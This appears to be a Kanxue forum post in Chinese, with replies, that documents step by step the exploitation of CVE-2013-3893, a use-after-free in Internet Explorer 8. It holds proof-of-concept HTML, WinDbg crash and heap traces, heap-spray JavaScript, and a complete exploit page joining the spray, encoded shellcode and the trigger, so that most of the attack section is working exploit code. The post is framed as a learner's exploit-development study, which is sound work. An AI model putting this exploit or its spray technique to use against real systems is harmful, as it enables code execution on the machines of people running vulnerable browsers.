首页
社区
课程
招聘
[原创]CVE-2013-3893 IE浏览器uaf漏洞利用
2017-5-2 19:22 11048

[原创]CVE-2013-3893 IE浏览器uaf漏洞利用

2017-5-2 19:22
11048

1. 背景

这次调试了一个浏览器的的uaf漏洞。(首先原谅我快把看雪当成私人博客了,我是一个正在学习二进制漏洞的小菜鸟,发出来的目的是想各位大佬多交流,不过目前来看没多少大佬愿意理我 [摊手][无奈])

什么是uaf呢?大概的意思就是,应用程序访问了一个已经被free掉的内存。利用这个漏洞可以执行任意代码。

这篇文章不是分析漏洞产生的原因,主要是记录了利用这个漏洞去执行代码的整个过程,想了解具体原因看参考。

2. poc1

根据前人的分析,拿到poc来测试一下,测试的环境是win7-32-ie8

<html>
<script>
function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
  id_0.onlosecapture=function(e) {
    document.write("");
  }
  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}
window.onload = function() {
  trigger();
}
</script>
</html>
```

windbg中断在

call    dword ptr [ecx]      ds:0023:00000000=????????

想要看进一步的细节需要打开pageheap,这样当程序的堆出现异常的时候能最快断下来,原理请看参考。

设置pageheap后,在一次运行poc,这次在访问一个地址的时候出现了异常,看起来是一个堆的地址.

mov     ecx,dword ptr [edi]  ds:0023:05866fb0=????????

查看一下这个地址的状态 !heap -p -a 05866fb0 很明显被free掉了

0:005> !heap -p -a 05866fb0
    address 05866fb0 found in
    _DPH_HEAP_ROOT @ 51000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    55a3bfc:          5866000             2000
    6c8590b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    776b65f4 ntdll!RtlDebugFreeHeap+0x0000002f
    7767a0aa ntdll!RtlpFreeHeap+0x0000005d
    776465a6 ntdll!RtlFreeHeap+0x00000142
    7778bbe4 kernel32!HeapFree+0x00000014
    6bcdfbf2 mshtml!CTreeNode::Release+0x0000002d
    6bce07e0 mshtml!CMarkup::UnloadContents+0x00000380
    6bce1f3c mshtml!CMarkup::TearDownMarkupHelper+0x00000055
    6bce1ec3 mshtml!CMarkup::TearDownMarkup+0x00000055
    6bbaee78 mshtml!COmWindowProxy::SwitchMarkup+0x000005b8
    6bb13685 mshtml!CDocument::open+0x00000426
    6bb10ea1 mshtml!CDocument::write+0x0000007c
    6bbc554e mshtml!Method_void_SAFEARRAYPVARIANTP+0x00000085
    6bcef10b mshtml!CBase::ContextInvokeEx+0x000005dc
    6bceef72 mshtml!CBase::InvokeEx+0x00000025
    6bcfb7fa mshtml!DispatchInvokeCollection+0x0000014c
    6bc9f00c mshtml!CDocument::InvokeEx+0x000000f0

接下来找到内存在何时被free掉的,然后在内存free之后,访问之前,重新分配这块内存,填充我们的代码,这就能控制程序去访问一个可控的地址,然后在看看是否能去利用。

3. poc2

<html>
<script>
lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
  lfh[i] = document.createElement('div');
  lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
  id_0.onlosecapture=function(e) {
    document.write("");
    tt = new Array(20);
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";
    }
  }
  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}
window.onload = function() {
  trigger();
}
</script>
</html>

保存exp.html,打开windbg开始调试。

**!!!记得在运行之前关掉pageheap,要是没关掉pageheap,程序可能在之前访问堆的时候就已经挂掉了。**

0:013> g
ModLoad: 6c190000 6c242000   C:\Windows\System32\jscript.dll
(148.70c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00365670 ecx=00000003 edx=00000000 esi=68f1b760 edi=68f512c0
eip=68f513f2 esp=0269c048 ebp=0269c060 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010293
mshtml!CTreeNode::GetInterface+0xac:
68f513f2 8b08            mov     ecx,dword ptr [eax]  ds:0023:0c0c0c0c=????????

程序出现了异常,但是eax寄存器是我们脚本中的值,紧接着是call  dword ptr [ecx],接下来只要在0c0c0c0c中放入shellcode的地址的地址,就能调用我们的shellcode去执行。还有为啥是0c0c0c0c,因为后面要利用堆喷把shellcode放到了0c0c0c0c。

4. spray heap

前面已经控制程序去访问一个可控地址,接下来就把shellcode放到这个地址,因为有aslf的保护,所以要用堆喷去绕过,执行我们的代码。

要利用堆,首先要对堆有个简单的了解。堆分配是连续的,但是由于程序申请、释放堆之后,造成了很多堆碎片。在次分配堆的时候,首先从这些堆碎片中分配,当堆碎片用完的时候,重新向操作系统申请新的堆,这时候的堆是连续的。

堆喷射就是利用了这个特性,大量的用"nop+shellcode"占用堆,这样当我们访问某一堆地址的时候,总能执行到我们的shellcode。但是不开心的是,有dep保护,在堆中执行不了代码,这时候就要用精确堆喷射,就是每次堆喷射都把shellcode的开头固定在某一特定的地址比如(0c0c0c0c)。

堆的对齐是0x1000的倍数,如果堆喷的内容 [nops+shellcode]大小等于0x1000,这样只要确定0c0c0c0c到最近的[nops+shellcode] 的首地址,就能确定shellcode和nops的距离,这样0c0c0c0c总能指向shellcode的首地址,这块表述不清,具体看参考。

堆喷射代码

<html>
<script>
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    block_size = 0x1000;
    padding_size = 0x5F4;
    Padding = '';
    NopSlide = '';
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%u9090');}
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');
    }
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); 
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    alert("Spray Done!");
</script>
</html>

执行之后堆内就存在 150 个BSTR 字符串对象  " [4+ [nops+shellcode] + [nops+shellcode] + [nops+shellcode] + .... +2] =1m" 就是150m

0c0c0c0c也就是了shellcode地址。

5. exp

搞定了堆喷射,接下来,就要利用rop绕过dep了,在找rop之前我填入了完整的shellcode执行的一下,竟然成功了,dep也确定是打开的呀。


那就先到这里了..........................................................................

<html>
<script>
function sprayheap(){
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4;
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
	'%u0c10%u0c0c' +
	'%u0c14%u0c0c' +
	'%uc931%u8b64%u3041%u408b%u8b0c%u1470%u96ad%u8bad%u1048%udb31%u598b%u013c%u8bcb%u785b%ucb01%u738b%u0120%u31ce%u42d2%u01ad%u81c8%u4738%u7465%u7550%u81f4%u0478%u6f72%u4163%ueb75%u7881%u6408%u7264%u7565%u8be2%u1c73%uce01%u148b%u0196%u89ca%u89d6%u31cf%u53db%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff51%u83d2%u10c4%uc931%u6c68%u426c%u8842%u244c%u6802%u3233%u642e%u7568%u6573%u5472%ud0ff%uc483%u310c%u68c9%u786f%u4241%u4c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%ud6ff%uc483%u310c%u31d2%u52c9%u7368%u7568%u907a%u8d90%u2414%u6851%u6873%u7a75%u8d90%u240c%udb31%u5343%u5152%udb31%uff53%u31d0%u68c9%u7365%u4173%u4c88%u0324%u5068%u6f72%u6863%u7845%u7469%u0c8d%u5124%uff57%u31d6%u51c9%ud0ff');
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%u4141');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    //alert("Spray Done!");
}
sprayheap();
lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
  lfh[i] = document.createElement('div');
  lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
 
function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");
    tt = new Array(20);
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";
    }
  }
 
  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}
 
window.onload = function() {
  trigger();
}
</script>
</html>

##6. 参考

https://webstersprodigy.net/2014/11/19/use-after-free-exploits-for-humans-part-1-exploiting-ms13-080-on-ie8-winxpsp3/

http://www.fuzzysecurity.com/tutorials/expDev/11.html

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

http://blog.csdn.net/xiaohyy/article/details/4174493

http://www.cnblogs.com/Ox9A82/p/5797123.html


有不对的地方麻烦指出来,谢谢。。。。。


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞1
打赏
分享
最新回复 (7)
雪    币: 32403
活跃值: (18860)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2017-5-2 19:34
2
0
“首先原谅我快把看雪当成私人博客了”

非常欢迎当成私人博客,论坛还在优化,会突出个人中心。
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-5-2 20:01
3
0
给楼主顶一个,似乎大牛都喜欢潜水,没多少人愿意出来
雪    币: 67
活跃值: (730)
能力值: ( LV7,RANK:150 )
在线值:
发帖
回帖
粉丝
shuozhang 2 2017-5-2 21:01
4
0
kanxue “首先原谅我快把看雪当成私人博客了” 非常欢迎当成私人博客,论坛还在优化,会突出个人中心。
好的  以后争取多写点
雪    币: 67
活跃值: (730)
能力值: ( LV7,RANK:150 )
在线值:
发帖
回帖
粉丝
shuozhang 2 2017-5-2 21:01
5
0
hackyzh 给楼主顶一个,似乎大牛都喜欢潜水,没多少人愿意出来[em_13]
谢谢捧场
雪    币: 2675
活跃值: (3868)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
值得怀疑 2017-5-2 22:03
6
0
还真可以搞成  私人博客之类·······加个啥  关注  把关注高的  推荐一下啥的!
雪    币: 199
活跃值: (51)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qinlongQIN 2017-11-23 11:26
7
0
加油加油
雪    币: 547
活跃值: (770)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
Justgoon 1 2017-11-30 14:04
8
0
win7  x86  ie8测试ie会崩啊,关了dep也不行
游客
登录 | 注册 方可回帖
返回